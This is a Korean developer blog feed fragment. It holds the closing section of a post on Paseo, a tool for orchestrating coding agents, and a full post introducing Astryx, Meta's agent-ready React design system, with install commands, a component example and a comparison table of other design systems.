&lt;li&gt;개인 테스트 저장소 하나를 등록합니다.&lt;/li&gt;
&lt;li&gt;이미 익숙한 에이전트 하나만 연결합니다.&lt;/li&gt;
&lt;li&gt;작은 문서 수정이나 테스트 추가 작업을 맡깁니다.&lt;/li&gt;
&lt;li&gt;worktree 격리와 diff 검토 흐름을 확인합니다.&lt;/li&gt;
&lt;li&gt;Relay로 휴대폰을 연결하고 접근 권한을 점검합니다.&lt;/li&gt;
&lt;li&gt;익숙해진 뒤 두 번째 프로바이더와 오케스트레이션을 추가합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;특히 처음에는 자동 병합이나 장시간 반복 작업보다 &lt;strong&gt;실행 → 확인 → 후속 지시 → diff 검토&lt;/strong&gt; 흐름에 익숙해지는 편이 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;Paseo는 Claude Code나 Codex를 대체하는 도구가 아닙니다. 여러 코딩 에이전트를 내 개발 환경에서 실행하고, 하나의 화면과 휴대폰에서 관리하기 위한 &lt;strong&gt;오픈소스 관제·오케스트레이션 계층&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;핵심은 네 가지로 정리할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;여러 프로바이더의 코딩 에이전트를 한곳에서 실행하고 관리합니다.&lt;/li&gt;
&lt;li&gt;데스크톱에서 시작한 작업을 휴대폰과 웹, CLI에서 이어갈 수 있습니다.&lt;/li&gt;
&lt;li&gt;Git worktree로 병렬 작업 공간을 분리할 수 있습니다.&lt;/li&gt;
&lt;li&gt;에이전트 간 위임, 스케줄, heartbeat로 자동화 범위를 넓힐 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AI 코딩 도구가 하나일 때는 좋은 프롬프트가 중요했습니다. 에이전트가 여러 개로 늘어나면 &lt;strong&gt;누가 어느 작업 공간에서 무엇을 하고 있는지 관리하는 구조&lt;/strong&gt;가 더 중요해집니다.&lt;/p&gt;
&lt;p&gt;Paseo는 바로 그 지점을 노리는 도구입니다. 여러 코딩 에이전트를 이미 번갈아 쓰고 있다면 한 번 테스트해볼 만합니다. 다만 편리한 원격 제어 기능만큼 접근 권한과 네트워크 보안도 함께 설계해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/&quot;&gt;Paseo 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/docs&quot;&gt;Paseo 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/getpaseo/paseo&quot;&gt;Paseo GitHub 저장소&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/agents&quot;&gt;지원 코딩 에이전트 목록&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/docs/worktrees&quot;&gt;Git worktree 사용법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/docs/orchestration&quot;&gt;Paseo 오케스트레이션&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/docs/connectivity&quot;&gt;연결 및 페어링 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paseo.sh/docs/security&quot;&gt;Paseo 보안 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[메타가 오픈소스로 푼 디자인 시스템, Astryx — AI 에이전트가 읽는 UI]]></title><description><![CDATA[메타가 오픈소스로 푼 디자인 시스템, Astryx 썸네일 안녕하세요, 자바파커입니다. 이번에는 메타(Meta)가 2026년 6월 오픈소스로 공개한 디자인 시스템 Astryx…]]></description><link>https://blog.javapark.kr/meta-astryx-design-system/</link><guid isPermaLink="false">https://blog.javapark.kr/meta-astryx-design-system/</guid><pubDate>Fri, 31 Jul 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/meta-astryx-thumbnail.webp&quot; alt=&quot;메타가 오픈소스로 푼 디자인 시스템, Astryx 썸네일&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;이번에는 메타(Meta)가 2026년 6월 오픈소스로 공개한 디자인 시스템 &lt;strong&gt;Astryx&lt;/strong&gt;를 다뤄보려고 합니다.&lt;/p&gt;
&lt;p&gt;&quot;디자인 시스템 하나 더 나왔네&quot; 하고 넘기기 쉽습니다. React 진영에는 이미 MUI, Radix, shadcn/ui 같은 좋은 선택지가 많으니까요. 그런데 Astryx는 조금 결이 다릅니다.&lt;/p&gt;
&lt;p&gt;한 문장으로 요약하면 이렇습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Astryx는 &lt;strong&gt;사람이 쓰기 좋은&lt;/strong&gt; 디자인 시스템이면서, 동시에 &lt;strong&gt;AI 코딩 에이전트가 직접 읽고 조작하도록&lt;/strong&gt; 설계된 첫 번째 대형 디자인 시스템입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;즉, 이 글의 핵심은 컴포넌트가 몇 개냐가 아니라, &lt;strong&gt;&quot;AI가 UI 코드를 짜는 시대를 전제로 만든 디자인 시스템&quot;&lt;/strong&gt; 이라는 관점입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Astryx는 무엇인가&lt;/h2&gt;
&lt;p&gt;Astryx는 메타가 &lt;strong&gt;8년 동안 사내 모노레포에서 키워온&lt;/strong&gt; 디자인 시스템입니다. 페이스북, 인스타그램, 스레드를 포함해 &lt;strong&gt;13,000개 이상의 내부 앱&lt;/strong&gt;을 이미 떠받치고 있던 물건을, 이번에 외부에 공개한 것입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;개발사&lt;/td&gt;
&lt;td&gt;Meta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공개 시점&lt;/td&gt;
&lt;td&gt;2026년 6월 (오픈소스, 퍼블릭 베타)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;라이선스&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;기반&lt;/td&gt;
&lt;td&gt;React 19+ · StyleX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;규모&lt;/td&gt;
&lt;td&gt;150+ 접근성 컴포넌트, 7종 테마&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;특징&lt;/td&gt;
&lt;td&gt;CLI + MCP 서버 (AI 에이전트용), 다크모드, 템플릿&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;검증&lt;/td&gt;
&lt;td&gt;메타 내부 13,000+ 앱에서 8년간 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;새로 만든 실험 프로젝트가 아니라, &lt;strong&gt;이미 초대형 서비스에서 검증된 시스템을 뒤늦게 오픈소스로 푼 것&lt;/strong&gt;이라는 점이 신뢰도 면에서 큰 차이입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;진짜 포인트: &quot;에이전트-레디(Agent-Ready)&quot;&lt;/h2&gt;
&lt;p&gt;Astryx가 화제인 진짜 이유는 여기에 있습니다. 기존 디자인 시스템들이 &quot;사람이 문서를 읽고 컴포넌트를 쓰는 것&quot;을 전제로 만들어졌다면, Astryx는 &lt;strong&gt;AI 에이전트가 시스템을 직접 이해하도록&lt;/strong&gt; 밑바닥부터 설계됐습니다.&lt;/p&gt;
&lt;p&gt;핵심 장치는 세 가지입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;MCP 서버 내장&lt;/strong&gt; — Astryx는 &lt;a href=&quot;https://modelcontextprotocol.io/&quot;&gt;Model Context Protocol&lt;/a&gt; 서버를 제공합니다. Cline, Claude 같은 AI 코딩 에이전트가 컴포넌트 명세를 문서 스크래핑 없이 &lt;strong&gt;직접 질의&lt;/strong&gt;할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;머신 리더블 매니페스트&lt;/strong&gt; — CLI가 모든 명령·인자·플래그·응답 타입을 기술한 JSON 계약(manifest)을 내놓습니다. 말하자면 &lt;strong&gt;CLI판 OpenAPI 스펙&lt;/strong&gt;입니다. 에이전트가 &quot;이 도구로 뭘 할 수 있는지&quot;를 추측하지 않고 알 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;비대화형(non-interactive) CLI&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;astryx init&lt;/code&gt; 같은 명령이 프롬프트 없이 동작합니다. 공식 문서 표현대로 &lt;strong&gt;&quot;AI 에이전트·CI·스크립트에서 안전하게&quot;&lt;/strong&gt; 돌릴 수 있게 만든 것이죠.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;정리하면, Astryx는 &quot;AI가 우리 코드베이스의 상당 부분을 짜게 될 것&quot;이라는 가정을 &lt;strong&gt;아키텍처에 못박아둔&lt;/strong&gt; 디자인 시스템입니다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/astryx-agent-ready.svg&quot; alt=&quot;사람 개발자는 문서·컴포넌트로, AI 에이전트는 MCP·manifest로 같은 Astryx를 읽는 구조&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기술 스택: StyleX 위에 올렸다&lt;/h2&gt;
&lt;p&gt;Astryx는 메타의 컴파일타임 CSS 엔진인 &lt;strong&gt;StyleX&lt;/strong&gt; 위에서 동작합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;런타임에 스타일을 주입하는 방식이 아니라, &lt;strong&gt;빌드 타임에 아토믹(atomic)·정적 CSS를 생성&lt;/strong&gt;합니다. 그만큼 런타임 오버헤드가 작습니다.&lt;/li&gt;
&lt;li&gt;중요한 점: &lt;strong&gt;StyleX는 소비자에게 보이지 않습니다.&lt;/strong&gt; 즉 Astryx를 쓴다고 해서 StyleX를 배워야 하는 건 아닙니다.&lt;/li&gt;
&lt;li&gt;스타일 오버라이드는 익숙한 방식 그대로 — &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;className&lt;/code&gt;으로 Tailwind, CSS Modules, 순수 CSS&lt;/strong&gt; 를 얹으면 됩니다. 별도 빌드 플러그인도 필요 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;기존 스타일링 워크플로우를 버리지 않아도 된다는 점이, 도입 장벽을 크게 낮춰줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;구조: Foundations → Components → Patterns&lt;/h2&gt;
&lt;p&gt;Astryx는 컴포넌트를 3개 계층으로 나눕니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Foundations&lt;/strong&gt; — 타이포그래피, 컬러, 레이아웃, 접근성 등 토대&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Components&lt;/strong&gt; — 버튼, 입력창 같은 재사용 빌딩 블록 (150+)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patterns&lt;/strong&gt; — 테이블 페이지, 상세 레이아웃, 폼 위저드, 내비게이션 같은 &lt;strong&gt;완성형 화면 패턴&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여기에 &lt;strong&gt;7종 테마&lt;/strong&gt;가 딸려 오고, 테마 커스터마이징은 컴포넌트를 다시 짜는 게 아니라 &lt;strong&gt;토큰(색·타이포·radius·모션) 레벨에서 CSS 변수&lt;/strong&gt;로 조정합니다. 컴포넌트는 최상위 API에 갇혀 있지 않고 &lt;strong&gt;어느 레벨에서든 조합(compose)&lt;/strong&gt; 할 수 있게 열려 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/astryx-architecture.svg&quot; alt=&quot;Astryx의 3계층 구조 — Foundations 토대 위에 Components 150+, 그 위에 완성형 Patterns, 옆에는 토큰 기반 7종 테마&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;직접 써보기&lt;/h2&gt;
&lt;p&gt;베타지만 설치는 이미 간단합니다. (React 19+ 필요)&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. 코어 + 테마 + CLI 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; @astryxdesign/core @astryxdesign/theme-neutral @astryxdesign/cli

&lt;span class=&quot;token comment&quot;&gt;# 2. 초기화 (프롬프트 없는 비대화형 — CI/에이전트 친화적)&lt;/span&gt;
npx astryx init&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;컴포넌트는 카테고리별 서브패스에서 가져와 씁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Button &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@astryxdesign/core/Button&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; VStack &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@astryxdesign/core/Layout&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Page&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;VStack&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;gap&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Button&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;label&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Hello Astryx&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;onClick&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Hi!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;VStack&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CLI로 시스템을 탐색하는 명령들도 유용합니다. (이 출력이 그대로 에이전트에게도 전달됩니다)&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;astryx component            &lt;span class=&quot;token comment&quot;&gt;# 전체 컴포넌트 목록&lt;/span&gt;
astryx component Button     &lt;span class=&quot;token comment&quot;&gt;# 특정 컴포넌트 props·사용법&lt;/span&gt;
astryx docs                 &lt;span class=&quot;token comment&quot;&gt;# 문서 토픽 목록&lt;/span&gt;
astryx docs tokens          &lt;span class=&quot;token comment&quot;&gt;# 디자인 토큰 레퍼런스&lt;/span&gt;
astryx template &lt;span class=&quot;token parameter variable&quot;&gt;--list&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# 페이지 템플릿 목록&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;swizzle — 필요하면 소스째로 가져온다&lt;/h3&gt;
&lt;p&gt;Astryx에는 &lt;code class=&quot;language-text&quot;&gt;swizzle&lt;/code&gt;이라는 개념이 있습니다. 특정 컴포넌트를 &lt;strong&gt;내 프로젝트로 소스 통째로 eject&lt;/strong&gt; 해서 직접 소유·수정할 수 있게 해주는 기능입니다. shadcn/ui가 컴포넌트 코드를 복사해 넣는 것과 비슷한 자유도를, 필요할 때만 선택적으로 쓸 수 있는 셈입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기존 디자인 시스템과 뭐가 다른가&lt;/h2&gt;
&lt;p&gt;React 진영에는 이미 성숙한 디자인 시스템이 많습니다. Astryx의 위치를 가늠하려면 두 축으로 보면 좋습니다 — &lt;strong&gt;① 스타일링을 런타임에 하느냐 빌드 타임에 하느냐&lt;/strong&gt;, 그리고 &lt;strong&gt;② AI 에이전트 대응을 어떻게 하느냐&lt;/strong&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시스템&lt;/th&gt;
&lt;th&gt;배경&lt;/th&gt;
&lt;th&gt;스타일링&lt;/th&gt;
&lt;th&gt;성격·강점&lt;/th&gt;
&lt;th&gt;에이전트 대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MUI (Material UI)&lt;/td&gt;
&lt;td&gt;커뮤니티/MUI&lt;/td&gt;
&lt;td&gt;Emotion(런타임) → Pigment CSS로 이동 중&lt;/td&gt;
&lt;td&gt;방대한 컴포넌트, 사실상 표준&lt;/td&gt;
&lt;td&gt;문서 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ant Design&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;td&gt;CSS-in-JS&lt;/td&gt;
&lt;td&gt;엔터프라이즈, 폼·테이블 강함&lt;/td&gt;
&lt;td&gt;문서 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chakra UI v3&lt;/td&gt;
&lt;td&gt;커뮤니티&lt;/td&gt;
&lt;td&gt;Panda CSS(정적) + Ark UI&lt;/td&gt;
&lt;td&gt;DX·접근성, 정적 엔진으로 전환&lt;/td&gt;
&lt;td&gt;문서 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mantine&lt;/td&gt;
&lt;td&gt;커뮤니티&lt;/td&gt;
&lt;td&gt;CSS Modules(제로 런타임)&lt;/td&gt;
&lt;td&gt;훅·컴포넌트 풍부, 가벼움&lt;/td&gt;
&lt;td&gt;문서 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Radix UI&lt;/td&gt;
&lt;td&gt;WorkOS&lt;/td&gt;
&lt;td&gt;언스타일드 프리미티브&lt;/td&gt;
&lt;td&gt;접근성·동작만 제공, 스타일 자유&lt;/td&gt;
&lt;td&gt;문서 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;shadcn/ui&lt;/td&gt;
&lt;td&gt;커뮤니티&lt;/td&gt;
&lt;td&gt;Tailwind + 코드 복사&lt;/td&gt;
&lt;td&gt;소유권·자유도 최고&lt;/td&gt;
&lt;td&gt;문서 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fluent UI v9&lt;/td&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;Griffel(아토믹, AOT 컴파일)&lt;/td&gt;
&lt;td&gt;MS 생태계, 아토믹 CSS&lt;/td&gt;
&lt;td&gt;문서 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Astryx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Meta&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;StyleX(아토믹, 컴파일타임) + className&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;완성형 패턴·7테마·13,000앱 검증&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;MCP·manifest 내장(네이티브)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 표에서 두 가지 관찰이 나옵니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① 스타일링은 이미 &quot;정적·제로 런타임&quot;이 대세입니다.&lt;/strong&gt; 한때 유행하던 런타임 CSS-in-JS(Emotion 등)는 성능·RSC(React Server Components) 호환 문제로 빠르게 밀려나는 중입니다. MUI는 Pigment CSS로, Chakra는 Panda CSS로, Mantine은 CSS Modules로 옮겨갔죠. Astryx의 &lt;strong&gt;StyleX&lt;/strong&gt;와 Fluent UI의 &lt;strong&gt;Griffel&lt;/strong&gt;은 &lt;em&gt;&quot;아토믹 CSS를 빌드 타임에 뽑아낸다&quot;&lt;/em&gt; 는 점에서 사실상 같은 계열입니다. 이 축에서 Astryx는 최신 트렌드의 정석 위에 서 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② 에이전트 대응은 Astryx만 네이티브입니다.&lt;/strong&gt; 나머지는 전부 &quot;사람이 읽는 문서&quot;를 제공하고, 에이전트는 그 문서를 스크래핑하거나 학습된 지식에 의존합니다. Astryx만 &lt;strong&gt;MCP 서버 + 머신 리더블 manifest&lt;/strong&gt;로 &quot;에이전트가 직접 질의하는 인터페이스&quot;를 1급 시민으로 제공합니다. 이게 진짜 차별점입니다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/astryx-positioning.svg&quot; alt=&quot;디자인 시스템 포지셔닝 — 가로축 런타임↔컴파일타임 CSS, 세로축 문서 기반↔에이전트 네이티브. 대부분 오른쪽 아래에 모여 있고 에이전트 네이티브 상단엔 Astryx만 있음&quot;&gt;&lt;/p&gt;
&lt;h3&gt;빅테크 디자인 시스템, Astryx가 처음은 아니다&lt;/h3&gt;
&lt;p&gt;사실 대기업이 자사 디자인 시스템을 오픈소스로 푼 사례는 많습니다 — Microsoft의 &lt;strong&gt;Fluent UI&lt;/strong&gt;, Alibaba의 &lt;strong&gt;Ant Design&lt;/strong&gt;, IBM의 &lt;strong&gt;Carbon&lt;/strong&gt;, GitHub의 &lt;strong&gt;Primer&lt;/strong&gt;, Shopify의 &lt;strong&gt;Polaris&lt;/strong&gt;, Adobe의 &lt;strong&gt;Spectrum&lt;/strong&gt;까지. Astryx가 특별한 이유는 &quot;메타가 만들어서&quot;가 아니라, &lt;strong&gt;이 계보에서 처음으로 &apos;에이전트 네이티브&apos;를 표방한 시스템&lt;/strong&gt;이라는 점입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;지금 도입해도 될까&lt;/h2&gt;
&lt;p&gt;냉정하게 짚자면, 아직 &lt;strong&gt;베타&lt;/strong&gt;입니다. 메타도 1.0 전까지 &lt;strong&gt;API와 컴포넌트 계약이 바뀔 수 있다&lt;/strong&gt;고 명시했고, CLI 표면도 초기 단계라고 밝혔습니다.&lt;/p&gt;
&lt;p&gt;그래서 현실적인 추천은 이렇습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;프로덕션 전면 도입&lt;/strong&gt;은 1.0을 기다리는 게 안전합니다.&lt;/li&gt;
&lt;li&gt;다만 &lt;strong&gt;사이드 프로젝트·프로토타입·내부 툴&lt;/strong&gt;에서 지금 만져보는 건 충분히 가치 있습니다. 특히 &lt;strong&gt;AI 에이전트로 UI를 뽑아보는 워크플로우&lt;/strong&gt;를 실험한다면, Astryx의 MCP·manifest 조합은 지금 시점에 가장 앞서 있는 레퍼런스입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;Astryx가 던지는 메시지는 단순히 &quot;메타표 컴포넌트가 무료로 풀렸다&quot;가 아닙니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;8년간 13,000개 앱에서 검증된 시스템이라는 &lt;strong&gt;신뢰도&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;StyleX 기반의 &lt;strong&gt;가벼운 정적 CSS&lt;/strong&gt;와, 기존 스타일링을 안 버려도 되는 &lt;strong&gt;낮은 도입 장벽&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;그리고 무엇보다, &lt;strong&gt;AI 에이전트가 읽고 조작하도록 설계된 첫 대형 디자인 시스템&lt;/strong&gt;이라는 방향성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;지난 글들에서 계속 이야기해 온 흐름과 이어집니다. 코딩 도구가 에이전트를 전제로 재편되고 있듯, 이제 &lt;strong&gt;디자인 시스템조차 &quot;사람 + 에이전트&quot;를 함께 상정&lt;/strong&gt;하기 시작했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;다음 질문은 이겁니다. 내가 쓰는 프레임워크·라이브러리는 &lt;strong&gt;AI 에이전트가 읽을 수 있는 구조인가?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Astryx는 그 질문에 대한 메타의 대답입니다. 프론트엔드를 다룬다면, 베타인 지금부터 한 번쯤 열어볼 만합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://astryx.atmeta.com/&quot;&gt;Astryx 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://astryx.atmeta.com/blog/introducing-astryx&quot;&gt;Introducing Astryx (공식 블로그)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://astryx.atmeta.com/docs/getting-started&quot;&gt;Astryx 시작하기 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.marktechpost.com/2026/07/21/meta-open-sources-astryx-an-agent-ready-react-design-system-with-150-accessible-components-seven-themes-and-a-cli/&quot;&gt;Meta Open-Sources Astryx (MarkTechPost)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stylexjs.com/&quot;&gt;StyleX 공식 사이트&lt;/a&gt;&lt;/li&gt;
